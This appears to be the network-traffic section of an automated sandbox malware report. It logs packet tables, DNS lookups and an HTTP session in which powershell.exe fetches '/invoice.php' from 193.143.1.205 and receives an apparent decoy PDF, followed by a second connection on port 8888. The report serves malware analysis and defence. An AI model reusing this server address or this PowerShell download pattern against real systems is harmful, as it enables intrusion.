Jan 13, 2025 12:47:04.982196093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.982212067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.982228041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.982260942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.982279062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.982294083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.982326984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.982343912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.982357979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.982389927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.982404947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.982436895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.982471943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.982486010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.982503891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.982537031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.982552052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.982569933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.982601881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.982614994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.982640028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.982672930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.982687950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.982703924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.982753992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.013787985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.013833046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.013890028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.013923883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.013935089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.013943911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.013955116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.013966084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.013977051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.013978004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.013988018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.013998985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.014009953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.014014006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.014020920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.014030933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.014043093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.014053106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.014072895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.014094114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.022011995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.033215046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.033225060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.033241034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.033252954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.033263922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.033269882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.033279896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.033286095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.033319950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.033334970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.033365011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.033375978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.033385992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.033396006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.033418894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.033437967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.033441067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.033448935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.033458948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.033469915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.033489943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.033509970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.033524036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.033535004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.033545017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.033554077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.033570051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.033600092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.033651114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.033663034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.033673048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.033683062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.033691883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.033694983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.033716917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.043072939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.067220926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.067235947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.067246914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.067259073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.067270041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.067281008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.067286015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.067291975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.067306042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.067318916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.067333937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.067801952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.067846060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.067853928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.067888021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.067920923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.067936897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.067953110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.068001032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.068001986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.068053007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.068084955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.068095922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.068118095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.068149090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.068165064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.068207979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.068258047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.068258047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.068291903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.068322897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.068340063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.068356037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.068383932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.068401098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.068416119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.068469048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.068470001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.068500042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.068531990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.068557024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.068563938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.068605900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.068613052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.068645000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.068676949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.068690062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.068707943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.068756104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.068761110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.068810940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.068841934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.068860054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.068888903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.068921089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.068933964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.068952084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.068984985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.068996906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.069017887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.069050074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.069058895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.069082975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.069116116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.069130898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.069148064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.069192886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.069195032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.069241047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.069273949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.069286108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.069305897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.069339037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.069353104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.069370031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.069416046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.069417953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.069449902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.069482088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.069499016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.069513083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.069545984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.069561005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.069576979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.069611073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.069619894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.069642067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.069674969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.069684029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.069705963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.069739103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.069755077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.069771051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.069802046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.069817066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.069833040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.069865942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.069875002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.069896936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.069927931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.069940090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.069958925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.069991112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.070002079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.070022106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.070053101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.070071936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.070086002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.070117950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.070132017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.070148945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.070183992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.070194960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.070210934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.070242882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.070254087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.070275068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.070319891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.100992918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.101146936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.101198912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.101203918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.101238012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.101269007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.101272106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.101301908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.101330996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.101340055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.101363897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.101394892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.101406097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.101427078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.101455927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.101466894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.101486921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.101517916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.101548910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.101556063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.101579905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.101584911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.101598978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.101643085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.121413946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.121438980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.121459961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.121489048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.121498108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.121498108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.121507883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.121532917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.121547937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.121557951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.121562958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.121572971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.121588945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.121598005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.121598959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.121613979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.121623993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.121628046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.121634960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.121645927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.121659994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.121669054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.121680975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.121721983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.121731043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.121741056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.121742010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.121763945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.121822119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.121831894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.121843100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.121850967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.121854067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.121876955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.154567957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.154611111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.154614925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.154625893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.154637098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.154647112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.154658079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.154660940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.154668093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.154678106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.154680967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.154715061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.155149937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.155160904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.155170918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.155180931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.155186892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.155215979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.296273947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.320333004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.575901985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.982812881 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:05.987808943 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:05.987914085 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:06.000338078 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:06.005558968 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:06.789663076 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:06.836074114 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:06.961842060 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:20.677212000 CET	60322	53	192.168.2.4	1.1.1.1
Jan 13, 2025 12:47:20.682048082 CET	53	60322	1.1.1.1	192.168.2.4
Jan 13, 2025 12:47:20.682120085 CET	60322	53	192.168.2.4	1.1.1.1
Jan 13, 2025 12:47:20.682152987 CET	60322	53	192.168.2.4	1.1.1.1
Jan 13, 2025 12:47:20.687009096 CET	53	60322	1.1.1.1	192.168.2.4
Jan 13, 2025 12:47:21.132062912 CET	53	60322	1.1.1.1	192.168.2.4
Jan 13, 2025 12:47:21.132771015 CET	60322	53	192.168.2.4	1.1.1.1
Jan 13, 2025 12:47:21.137866974 CET	53	60322	1.1.1.1	192.168.2.4
Jan 13, 2025 12:47:21.137928009 CET	60322	53	192.168.2.4	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2025 12:47:18.844569921 CET	51114	53	192.168.2.4	1.1.1.1
Jan 13, 2025 12:47:20.676810026 CET	53	62083	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 13, 2025 12:47:18.844569921 CET	192.168.2.4	1.1.1.1	0x924e	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 13, 2025 12:47:18.853111029 CET	1.1.1.1	192.168.2.4	0x924e	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	5076	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 13, 2025 12:47:03.585490942 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 13, 2025 12:47:04.407124996 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Mon, 13 Jan 2025 11:47:04 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 